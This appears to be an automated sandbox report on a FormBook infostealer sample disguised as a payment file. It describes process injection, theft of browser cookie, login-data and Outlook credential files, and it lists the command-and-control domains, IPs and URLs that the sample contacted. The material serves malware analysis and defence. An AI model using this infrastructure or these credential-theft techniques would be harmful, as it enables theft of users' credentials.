                Source: C:\Windows\SysWOW64\tzutil.exeThread APC queued: target process: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeJump to behavior
                Writes to foreign memory regions
                Source: C:\Users\user\Desktop\Payment-251124.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 653008Jump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EFB106 LogonUserW,0_2_00EFB106
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EC3D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,0_2_00EC3D19
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F0411C SendInput,keybd_event,0_2_00F0411C
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F074E7 mouse_event,0_2_00F074E7
                Source: C:\Users\user\Desktop\Payment-251124.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Payment-251124.exe"Jump to behavior
                Source: C:\Program Files (x86)\pdozKoeGRAFEZXyNYyGYyxbMhoODhKJxiGUutTqfbj\zBxRBzECNBW.exeProcess created: C:\Windows\SysWOW64\tzutil.exe "C:\Windows\SysWOW64\tzutil.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EFA66C GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00EFA66C
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F071FA AllocateAndInitializeSid,CheckTokenMembership,FreeSid,0_2_00F071FA
                Source: Payment-251124.exe, zBxRBzECNBW.exe, 00000005.00000000.2108259869.00000000019D0000.00000002.00000001.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000005.00000002.3538803335.00000000019D1000.00000002.00000001.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000007.00000000.2249529448.0000000000E30000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
                Source: zBxRBzECNBW.exe, 00000005.00000000.2108259869.00000000019D0000.00000002.00000001.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000005.00000002.3538803335.00000000019D1000.00000002.00000001.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000007.00000000.2249529448.0000000000E30000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
                Source: Payment-251124.exeBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning
                Source: zBxRBzECNBW.exe, 00000005.00000000.2108259869.00000000019D0000.00000002.00000001.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000005.00000002.3538803335.00000000019D1000.00000002.00000001.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000007.00000000.2249529448.0000000000E30000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
                Source: zBxRBzECNBW.exe, 00000005.00000000.2108259869.00000000019D0000.00000002.00000001.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000005.00000002.3538803335.00000000019D1000.00000002.00000001.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000007.00000000.2249529448.0000000000E30000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: }Program Manager
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EE65C4 cpuid 0_2_00EE65C4
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F1091D GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,0_2_00F1091D
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F3B340 GetUserNameW,0_2_00F3B340
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EF1E8E __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,0_2_00EF1E8E
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00EDDDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_00EDDDC0

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000007.00000002.3540649856.0000000004C30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3539253751.0000000003210000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3537454552.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3539211185.00000000031C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2182922609.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2183137208.0000000000D20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2183684282.0000000004150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3539158072.0000000003A40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\tzutil.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\tzutil.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\tzutil.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
                Source: Payment-251124.exeBinary or memory string: WIN_81
                Source: Payment-251124.exeBinary or memory string: WIN_XP
                Source: Payment-251124.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 12, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytep
                Source: Payment-251124.exeBinary or memory string: WIN_XPe
                Source: Payment-251124.exeBinary or memory string: WIN_VISTA
                Source: Payment-251124.exeBinary or memory string: WIN_7
                Source: Payment-251124.exeBinary or memory string: WIN_8

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000007.00000002.3540649856.0000000004C30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3539253751.0000000003210000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3537454552.0000000002CC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.3539211185.00000000031C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2182922609.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2183137208.0000000000D20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000001.00000002.2183684282.0000000004150000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.3539158072.0000000003A40000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F18C4F socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,0_2_00F18C4F
                Source: C:\Users\user\Desktop\Payment-251124.exeCode function: 0_2_00F1923B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_00F1923B

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire Infrastructure2
                Valid Accounts                		3
                Native API                		1
                DLL Side-Loading                		1
                Exploitation for Privilege Escalation                		1
                Disable or Modify Tools                		1
                OS Credential Dumping                		2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		5
                Ingress Tool Transfer                		Exfiltration Over Other Network Medium1
                System Shutdown/Reboot
                CredentialsDomainsDefault AccountsScheduled Task/Job2
                Valid Accounts                		1
                Abuse Elevation Control Mechanism                		1
                Deobfuscate/Decode Files or Information                		21
                Input Capture                		1
                Account Discovery                		Remote Desktop Protocol1
                Data from Local System                		1
                Encrypted Channel                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                DLL Side-Loading                		1
                Abuse Elevation Control Mechanism                		Security Account Manager2
                File and Directory Discovery                		SMB/Windows Admin Shares1
                Email Collection                		5
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
                Valid Accounts                		2
                Obfuscated Files or Information                		NTDS116
                System Information Discovery                		Distributed Component Object Model21
                Input Capture                		5
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
                Access Token Manipulation                		1
                DLL Side-Loading                		LSA Secrets151
                Security Software Discovery                		SSH3
                Clipboard Data                		Fallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
                Process Injection                		2
                Valid Accounts                		Cached Domain Credentials2
                Virtualization/Sandbox Evasion                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
                Virtualization/Sandbox Evasion                		DCSync3
                Process Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
                Access Token Manipulation                		Proc Filesystem1
                Application Window Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
                Process Injection                		/etc/passwd and /etc/shadow1
                System Owner/User Discovery                		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1562407 Sample: Payment-251124.exe Startdate: 25/11/2024 Architecture: WINDOWS Score: 100 28 www.prestigerugz.info 2->28 30 www.buckser.info 2->30 32 9 other IPs or domains 2->32 42 Suricata IDS alerts for network traffic 2->42 44 Multi AV Scanner detection for submitted file 2->44 46 Yara detected FormBook 2->46 48 4 other signatures 2->48 10 Payment-251124.exe 2 2->10         started        signatures3 process4 signatures5 60 Binary is likely a compiled AutoIt script file 10->60 62 Writes to foreign memory regions 10->62 64 Maps a DLL or memory area into another process 10->64 66 Switches to a custom stack to bypass stack traces 10->66 13 svchost.exe 10->13         started        process6 signatures7 68 Maps a DLL or memory area into another process 13->68 16 zBxRBzECNBW.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 tzutil.exe 13 16->19         started        process10 signatures11 50 Tries to steal Mail credentials (via file / registry access) 19->50 52 Tries to harvest and steal browser information (history, passwords, etc) 19->52 54 Modifies the context of a thread in another process (thread injection) 19->54 56 3 other signatures 19->56 22 zBxRBzECNBW.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 www.prestigerugz.info 217.160.0.113, 49784, 49790, 49797 ONEANDONE-ASBrauerstrasse48DE Germany 22->34 36 all.wjscdn.com 154.205.159.116, 49907, 49913, 49919 IKGUL-26484US Seychelles 22->36 38 4 other IPs or domains 22->38 58 Found direct / indirect Syscall (likely to bypass EDR) 22->58 signatures14

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                Payment-251124.exe58%ReversingLabsWin32.Trojan.AutoitInject
                Payment-251124.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://www.prestigerugz.info/m5si/0%Avira URL Cloudsafe
                http://www.44ynh.top/l9wb/0%Avira URL Cloudsafe
                http://www.75178.club/q34f/0%Avira URL Cloudsafe
                http://www.jijievo.site/521z/0%Avira URL Cloudsafe
                http://www.75178.club0%Avira URL Cloudsafe
                http://www.buckser.info/4a2y/0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                44ynh.top
                		38.181.21.178
                		truetrue
                  		unknown
                  all.wjscdn.com
                  		154.205.159.116
                  		truetrue
                    		unknown
                    www.prestigerugz.info
                    		217.160.0.113
                    		truetrue
                      		unknown
                      www.supernutra01.online
                      		104.21.24.198
                      		truefalse
                        		high
                        www.buckser.info
                        		114.55.89.54
                        		truetrue
                          		unknown
                          gtml.huksa.huhusddfnsuegcdn.com
                          		23.167.152.41
                          		truefalse
                            		high
                            www.75178.club
                            		unknown
                            		unknownfalse
                              		unknown
                              www.setwayidiomas.online
                              		unknown
                              		unknownfalse
                                		unknown
                                www.jijievo.site
                                		unknown
                                		unknownfalse
                                  		unknown
                                  www.44ynh.top
                                  		unknown
                                  		unknownfalse
                                    		unknown

                                    Contacted URLs

                                    NameMaliciousAntivirus DetectionReputation
                                    http://www.prestigerugz.info/m5si/true
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.44ynh.top/l9wb/true
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.75178.club/q34f/true
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.buckser.info/4a2y/true
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://www.jijievo.site/521z/true
                                    • Avira URL Cloud: safe
                                    		unknown

                                    URLs from Memory and Binaries

                                    NameSourceMaliciousAntivirus DetectionReputation
                                    https://ac.ecosia.org/autocomplete?q=tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      https://duckduckgo.com/chrome_newtabtzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        https://duckduckgo.com/ac/?q=tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://kb.fastpanel.direct/troubleshoot/tzutil.exe, 00000006.00000002.3541258241.0000000006250000.00000004.00000800.00020000.00000000.sdmp, tzutil.exe, 00000006.00000002.3539905384.0000000003E44000.00000004.10000000.00040000.00000000.sdmp, zBxRBzECNBW.exe, 00000007.00000002.3539319251.0000000002BE4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2475341747.0000000039C44000.00000004.80000000.00040000.00000000.sdmpfalse
                                            		high
                                            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchtzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://www.ecosia.org/newtab/tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=tzutil.exe, 00000006.00000002.3541400274.0000000007D1E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://www.75178.clubzBxRBzECNBW.exe, 00000007.00000002.3540649856.0000000004C8A000.00000040.80000000.00040000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown

                                                      World Map of Contacted IPs

                                                      • No. of IPs < 25%
                                                      • 25% < No. of IPs < 50%
                                                      • 50% < No. of IPs < 75%
                                                      • 75% < No. of IPs

                                                      Public IPs

                                                      IPDomainCountryFlagASNASN NameMalicious
                                                      217.160.0.113
                                                      		www.prestigerugz.infoGermany
                                                      		8560ONEANDONE-ASBrauerstrasse48DEtrue
                                                      23.167.152.41
                                                      		gtml.huksa.huhusddfnsuegcdn.comReserved
                                                      		395774ESVC-ASNUSfalse
                                                      154.205.159.116
                                                      		all.wjscdn.comSeychelles
                                                      		26484IKGUL-26484UStrue
                                                      38.181.21.178
                                                      		44ynh.topUnited States
                                                      		174COGENT-174UStrue
                                                      114.55.89.54
                                                      		www.buckser.infoChina
                                                      		37963CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtdtrue
                                                      104.21.24.198
                                                      		www.supernutra01.onlineUnited States
                                                      		13335CLOUDFLARENETUSfalse

                                                      General Information

                                                      Joe Sandbox version:41.0.0 Charoite
                                                      Analysis ID:1562407
                                                      Start date and time:2024-11-25 15:26:00 +01:00
                                                      Joe Sandbox product:CloudBasic
                                                      Overall analysis duration:0h 8m 48s
                                                      Hypervisor based Inspection enabled:false
                                                      Report type:full
                                                      Cookbook file name:default.jbs
                                                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                      Run name:Run with higher sleep bypass
                                                      Number of analysed new started processes analysed:8
                                                      Number of new started drivers analysed:0
                                                      Number of existing processes analysed:0
                                                      Number of existing drivers analysed:0
                                                      Number of injected processes analysed:2
                                                      Technologies:
                                                      • HCA enabled
                                                      • EGA enabled
                                                      • AMSI enabled
                                                      Analysis Mode:default
                                                      Analysis stop reason:Timeout
                                                      Sample name:Payment-251124.exe
                                                      Detection:MAL
                                                      Classification:mal100.troj.spyw.evad.winEXE@7/3@9/6
                                                      EGA Information:
                                                      • Successful, ratio: 66.7%
                                                      HCA Information:
                                                      • Successful, ratio: 94%
                                                      • Number of executed functions: 47
                                                      • Number of non-executed functions: 300
                                                      Cookbook Comments:
                                                      • Found application associated with file extension: .exe
                                                      • Sleeps bigger than 100000000ms are automatically reduced to 1000ms
                                                      • Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

                                                      Warnings

                                                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                                                      • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                      • Execution Graph export aborted for target zBxRBzECNBW.exe, PID 5548 because it is empty
                                                      • Not all processes where analyzed, report is missing behavior information
                                                      • Report creation exceeded maximum time and may have missing disassembly code information.
                                                      • Report size exceeded maximum capacity and may have missing disassembly code.
                                                      • VT rate limit hit for: Payment-251124.exe

                                                      Simulations

                                                      Behavior and APIs

                                                      ⊘No simulations

                                                      Joe Sandbox View / Context

                                                      IPs

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      217.160.0.113r98100.TREN.AUTpdf.exeGet hashmaliciousFormBook, NSISDropperBrowse
                                                      • www.lessstressmoreprogress.net/mr04/?Z0D0=rvjNexh3zvI53VZUK60PjrTIX1CVATH5ZgWwVgY6EkaNyaLT3yhdToUFTRj6RAPXbKk9&Xv9xe4=R6Ax
                                                      Purchase_Order.exeGet hashmaliciousFormBookBrowse
                                                      • www.le-riche.fr/i65a/?l6APbZn0=+0bkTaWhYWAVxnCJ2nwVpM/U/2VALoigtFbvSxMYohoxF0aNNQstvpt3f/wi09R94V0cyMZY94rCxAyEavJUVbQqc8cScfvcKQ==&VVcXv=Fzud9r2H_Lzd_B
                                                      Updrag.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                      • www.le-riche.fr/niku/?7nFlllx=xrumqyiZw2NMGXSTF9hjIkLrOU6nhVxQiFFKzEKgJBV7+VOp5xdEyxF9LjnfDDCimwOB7aDhAwI/GQ5vlF1HZu55hCcgrcQOFQ==&u4=UvZXQxCPphTT6J
                                                      Vldigst.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                      • www.le-riche.fr/niku/?mPwH=_XpHEd8884gT7RZp&4hiT=xrumqyiZw2NMGXSTF9hjIkLrOU6nhVxQiFFKzEKgJBV7+VOp5xdEyxF9LjnfDDCimwOB7aDhAwI/GQ5vlF1HZu55hCcgrcQOFQ==
                                                      t.exeGet hashmaliciousFormBookBrowse
                                                      • www.le-riche.fr/niku/?xH=WHAh6h1XT&NPUh=xrumqyiZw2NMGXSTXZhmP1v4YE2H3hdQiFFKzEKgJBV7+VOp5xdEyw59LjnfDDCimwOB7aDhAwI/GQ5vlF18Zvll9TNcqcdgEQ==
                                                      23.167.152.41A2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                      • www.75178.club/a4h7/
                                                      104.21.24.198DO-COSU6387686280.pdf.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                      • www.supernutra01.online/ipdr/

                                                      Domains

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      gtml.huksa.huhusddfnsuegcdn.comA2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                      • 23.167.152.41
                                                      need quotations.exeGet hashmaliciousFormBookBrowse
                                                      • 23.167.152.41
                                                      rGO880-PDF.exeGet hashmaliciousFormBookBrowse
                                                      • 206.119.185.138
                                                      Arrival Notice.exeGet hashmaliciousFormBookBrowse
                                                      • 206.119.185.141
                                                      Maryam Farokhi-PhD- CV-1403.exeGet hashmaliciousFormBookBrowse
                                                      • 23.167.152.41
                                                      NIlfETZ9aE.exeGet hashmaliciousFormBookBrowse
                                                      • 206.119.185.226
                                                      s200ld6btf.exeGet hashmaliciousFormBookBrowse
                                                      • 206.119.185.225
                                                      MV Sunshine.exeGet hashmaliciousFormBookBrowse
                                                      • 206.119.185.225
                                                      dzkb5Gfd33.exeGet hashmaliciousFormBookBrowse
                                                      • 206.119.185.189
                                                      Nowe zam#U00f3wienie zakupu pdf.exeGet hashmaliciousFormBookBrowse
                                                      • 206.119.185.165
                                                      all.wjscdn.comCV Lic H&S Olivetti Renzo.exeGet hashmaliciousFormBookBrowse
                                                      • 38.54.112.227
                                                      CV Lic H&S Olivetti Renzo.exeGet hashmaliciousFormBookBrowse
                                                      • 154.90.58.209
                                                      www.supernutra01.onlineDO-COSU6387686280.pdf.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                      • 104.21.24.198
                                                      CV Lic H&S Olivetti Renzo.exeGet hashmaliciousFormBookBrowse
                                                      • 172.67.220.36
                                                      CV Lic H&S Olivetti Renzo.exeGet hashmaliciousFormBookBrowse
                                                      • 172.67.220.36
                                                      Project Breakdown Doc.exeGet hashmaliciousFormBookBrowse
                                                      • 172.67.220.36
                                                      DOC_114542366.vbeGet hashmaliciousFormBookBrowse
                                                      • 172.67.220.36

                                                      ASNs

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      IKGUL-26484USmipsel.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                      • 156.249.165.252
                                                      sora.m68k.elfGet hashmaliciousMiraiBrowse
                                                      • 156.238.135.141
                                                      2024.1.16.exeGet hashmaliciousUnknownBrowse
                                                      • 154.91.65.76
                                                      2024.1.16.exeGet hashmaliciousUnknownBrowse
                                                      • 154.91.65.76
                                                      ring.exeGet hashmaliciousUnknownBrowse
                                                      • 154.205.156.20
                                                      ring.exeGet hashmaliciousUnknownBrowse
                                                      • 154.205.156.20
                                                      Nota1893.exeGet hashmaliciousUnknownBrowse
                                                      • 154.205.156.20
                                                      HZ1ZzlIpm7.vbeGet hashmaliciousFormBookBrowse
                                                      • 198.44.251.205
                                                      mpsl.elfGet hashmaliciousMiraiBrowse
                                                      • 156.238.135.134
                                                      dvwkja7.elfGet hashmaliciousMiraiBrowse
                                                      • 154.90.25.186
                                                      ONEANDONE-ASBrauerstrasse48DEFACTURA 24V70 VINS.exeGet hashmaliciousFormBookBrowse
                                                      • 217.160.0.158
                                                      IETC-24017.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                      • 217.160.0.200
                                                      7jBzTH9FXQ.exeGet hashmaliciousUnknownBrowse
                                                      • 82.165.72.122
                                                      fACYdCvub8.exeGet hashmaliciousUnknownBrowse
                                                      • 82.165.3.205
                                                      7jBzTH9FXQ.exeGet hashmaliciousUnknownBrowse
                                                      • 74.208.177.192
                                                      fACYdCvub8.exeGet hashmaliciousUnknownBrowse
                                                      • 217.160.104.190
                                                      file.exeGet hashmaliciousFormBookBrowse
                                                      • 74.208.236.156
                                                      Purchase Order PO.exeGet hashmaliciousFormBookBrowse
                                                      • 77.68.64.45
                                                      exe009.exeGet hashmaliciousEmotetBrowse
                                                      • 74.208.173.91
                                                      5674656777985-069688574654 pdf.exeGet hashmaliciousFormBookBrowse
                                                      • 217.160.0.200
                                                      COGENT-174USla.bot.sh4.elfGet hashmaliciousUnknownBrowse
                                                      • 154.49.45.52
                                                      la.bot.arm5.elfGet hashmaliciousUnknownBrowse
                                                      • 38.166.98.107
                                                      la.bot.mipsel.elfGet hashmaliciousUnknownBrowse
                                                      • 38.214.239.244
                                                      la.bot.mips.elfGet hashmaliciousUnknownBrowse
                                                      • 38.191.176.15
                                                      la.bot.sparc.elfGet hashmaliciousUnknownBrowse
                                                      • 38.169.189.105
                                                      la.bot.arm.elfGet hashmaliciousUnknownBrowse
                                                      • 149.110.31.106
                                                      la.bot.arm6.elfGet hashmaliciousUnknownBrowse
                                                      • 38.170.60.226
                                                      loligang.sh4.elfGet hashmaliciousMiraiBrowse
                                                      • 38.184.126.92
                                                      loligang.ppc.elfGet hashmaliciousMiraiBrowse
                                                      • 38.213.52.199
                                                      loligang.mpsl.elfGet hashmaliciousMiraiBrowse
                                                      • 206.148.136.146
                                                      ESVC-ASNUSA2028041200SD.exeGet hashmaliciousFormBookBrowse
                                                      • 23.167.152.41
                                                      need quotations.exeGet hashmaliciousFormBookBrowse
                                                      • 23.167.152.41
                                                      FSd2UlLC6H.elfGet hashmaliciousUnknownBrowse
                                                      • 23.167.178.53
                                                      1YhXFyiSni.dllGet hashmaliciousWannacryBrowse
                                                      • 23.167.182.84

                                                      JA3 Fingerprints

                                                      ⊘No context

                                                      Dropped Files

                                                      ⊘No context

                                                      Created / dropped Files

                                                      C:\Users\user\AppData\Local\Temp\745o5K385

                                                      Download File
